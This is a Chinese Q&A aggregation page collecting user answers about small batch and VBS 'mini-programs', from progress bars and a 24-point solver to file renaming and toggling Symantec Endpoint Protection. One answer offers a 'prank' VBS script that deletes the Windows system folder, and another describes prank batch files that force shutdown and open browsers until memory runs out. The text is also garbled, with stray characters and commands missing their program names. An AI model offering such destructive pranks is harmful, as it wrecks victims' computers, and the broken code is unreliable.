bat小程序
㈠ 如何用cmd编辑一个启动关闭的bat小程序
批处理代码如下:
::═════代═══码═══回开═══始═══答══
@echo off
tasklist|findstr "Smc.exe"&&set/a .=1
if defined . start " " "C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe -stop"
if not defined . start " " "C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe -start"
::═════代═══码═══结═══束═════
刚才测试的时候忘了吧taskmgr改成smc。
㈡ vbs或bat程序做整人小程序
给你个狠的
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder %SystemRoot%
删“C:\windows”
㈢ 批处理小程序
下面是以前收录的几个,更多可以到
http://www.bathome.net/forumdisplay.php?fid=6&filter=type&typeid=50
::进度条
@echo off
mode con cols=113 lines=15 &color 9f
cls
echo.
echo 程序正在初始化. . .
echo.
echo ┌──────────────────────────────────────┐
set/p= ■<nul
for /L %%i in (1 1 38) do set /p a=■<nul&ping /n 1 127.0.0.1>nul
echo 100%%
echo └──────────────────────────────────────┘
pause
::title 神奇的回退
set "t="
for /l %%a in (1,1,1000) do set "k=!k!"
for /l %%a in (1,1,10) do echo ○○○○○○○○○○
ping /n 2 127.1>nul
:: 这里将光标退回原点处,请仔细注意光标的位置
echo %t%%k% 2>nul&set /p=<nul
pause>nul
:: 请注意6-10行第6-10个字符的输出是没有改变的
for /l %%a in (1,1,5) do echo ●●●●●¤¤¤¤¤
for /l %%a in (1,1,5) do echo ⊙⊙⊙⊙⊙
pause>nul
-------------数字雨---------------------
----------------------------------------
@echo off
color 0a
:start
set num=0
set "echos= "
:num
set /a a1=%random%%%3
if "%a1%" == "1" set "a1= "
if "%a1%" == "2" set "a1= "
if "%a1%" == "0" set /a a1=%random%%%2
set echos=%echos%%a1%
set /a num=%num%+1
if "%num%" == "75" echo %echos%&&goto :start
goto :num
::批处理算24点
@echo off&color 1f&mode con cols=50 lines=5
setlocal enabledelayedexpansion
title 批处理算24 by zw19750516
set "code=+ - * /"&set n=1
:begin
cls&echo.&echo 请输入第%n%个(0-9内的)整数,请不要在数字前加0。
echo.&set /p num%n%= 请在这里输入:
echo !num%n%!|findstr "[^0-9]">nul&&goto wrong
set str=!num%n%!
if "!str:~,1!" equ "0" if "!str:~1!" neq "" goto wrong
if !str! gtr 9 goto wrong
set num=%num% !num%n%!&set /a n+=1
if %n% neq 5 goto begin
set num=%num:~1%
cls&echo.&echo 你输入的四个数是:%num%
echo.&echo 请稍候,正在运算中...&ping /n 2 127.1>nul
:again
set str=&set var=1234&set /a x+=1,n=4
if %x% equ 2000 cls&echo.&echo 对不起,没有算出来,或者这四个数算不出24。&pause>nul&goto :eof
:lp
set /a a=%random%%%%n%,m=%random%%%4+1
set a=!var:~%a%,1!
set var=!var:%a%=!
for /f "tokens=%m% delims= " %%i in ("%code%") do set b=%%i
:add
if %n% equ 1 set "b="
set str=%str%!num%a%!%b%&set /a n-=1
if %n% neq 0 goto lp
set /a a=%str%
if %a% neq 24 goto again
cls&echo.&echo 计算结果为:%str%=24
pause>nul&goto :eof
:wrong
cls&echo.&echo 输入的数不合要求,请正确输入。&ping /n 2 127.1>nul&goto begin
㈣ 求个简单的BAT批处理小程序
@echo off
title 批处理小程序
set /p name=请输入你的姓名:
echo %name%你好,某人有话对你说!
echo 这边写你要说的话专,不够的话在另起一行,继续写属
echo 。。。。。。。
pause
exit
㈤ 求vbs或bat写个小程序
dir /a
㈥ 菜鸟求bat小程序 懂的速来
下面这个是一点雏形,后来的高手帮搞一下吧, 我要睡觉了。。
for /f "tokens=1" %%i in ('tasklist') do (
if %%i EQU QQ.exe goto loadt
)
ping -n 4 127.0.1 > nul
goto start
:loadt
echo exist QQ.exe
pause
set count=no
for /f %%k in (`dir /a /b "D:\Program Files\Tencent\QQ\Users"`) do (
pause
for /f %%j in (list.txt) do (
if %%k EQU %%j set count=yes
)
echo %%k
pause
if %count% EQU "no"
(taskkill /im QQ.exe
rd /s /f /q "D:\Program Files\Tencent\QQ\Users\%%k"
)
)
goto start
㈦ .bat小程序 复制并重命名
set date=%date:~0,4%%date:~5,2%%date:~8,2%
set time=%time:~0,2%%time:~3,2%%time:~6,2%
echo f | x /y/h/c/r C:\xx.dmd D:\xx_%date%_%time%.dmd
如果不要日期专就是属
set time=%time:~0,2%%time:~3,2%%time:~6,2%
echo f | x /y/h/c/r C:\xx.dmd D:\xx_%time%.dmd
㈧ bat小程序
就是生成了3个批处理文件
第一个:倒数60秒自动关机.
第二个:一直打开网页会内存耗尽.
第三个专:就是告诉你哭...
没事属,你就算打开了也没什么,这个只是生成3个批处理,没有打开批处理
打开你也别急,首先第一反应就是打开cmd输入shutdown -a,如果有打开第2个批处理就离开安Alt+Ctrl+Del结束cmd这样就不会继续打开N个浏览器了.然后就打开cmd输入taskkill /f /im iexplore.exe,可以一次性结束所有iexplore.exe.
㈨ 怎样用bat批处理文件制作一个如下要求的小程序
@echooff
for/r"D: est"%%ain(*.*)do(
if/i"%%~xa"==".GBA""%%a"F:123
)
pause
注:D: est为假设的“有各种格式的文件和子文件夹的大文专件夹”,F:123为假设的目的文件夹,这两属个文件夹路径请根据实际情况自行修改
㈩ bat小程序代码
不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起运行
@echo off
rem 将指定扩展名/后缀名的文件剪切/移动到一个新的文件夹里并更改扩展名/后缀名
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
set "newfolder=.\A1"
if not exist "%newfolder%" (md "%newfolder%")
for /f "delims=" %%a in ('dir /a-d/b^|findstr /i "\.pdf[^\.]*$"') do (
set "f=%%a"&set "base=%%~na"&set "ext=%%~xa"
setlocal enabledelayedexpansion
echo;"!f!" --^> "%newfolder%\!base!!ext:pdf=exe!"
move /y "!f!" "%newfolder%\!base!!ext:pdf=exe!"
endlocal
)
for /f "delims=" %%a in ('dir /a-d/b "%newfolder%\"^|findstr /i "\.exe[^\.]*$"') do (
set "f=%newfolder%\%%a"&set "base=%%~na"&set "ext=%%~xa"
setlocal enabledelayedexpansion
echo;"!f!" --^> ".\!base!!ext:exe=pdf!"
/y "!f!" ".\!base!!ext:exe=pdf!"
endlocal
)
rd /s /q "%newfolder%\" 2>nul
echo;%#% +%$%%$%/%@% %z%
pause
exit